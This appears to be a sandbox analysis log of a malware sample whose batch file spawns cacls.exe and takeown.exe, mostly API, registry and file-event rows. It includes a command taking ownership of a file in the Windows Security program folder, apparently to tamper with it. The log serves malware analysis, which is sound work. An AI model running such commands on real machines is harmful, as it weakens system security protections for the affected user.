Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0xedc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 58	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x13c0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 22	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "msoeres.dll.mui"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "msoeres.dll.mui"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 60	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #139: takeown.exe

0

»

Information	Value
ID	#139
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Security\vt mapping.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:14, Reason: Child Process
Unmonitor	End Time: 00:03:27, Reason: Self Terminated
Monitor Duration	00:00:13
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xee8
Parent PID	0x1088 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 490 0x 126C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #140: cmd.exe

297

0

»

Information	Value
ID	#140
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:19, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:06

OS Process Information

»

Information	Value
PID	0xed0
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F90 0x BB4

Threads

Thread 0xf90

297

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 81	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0xe1c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 66	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
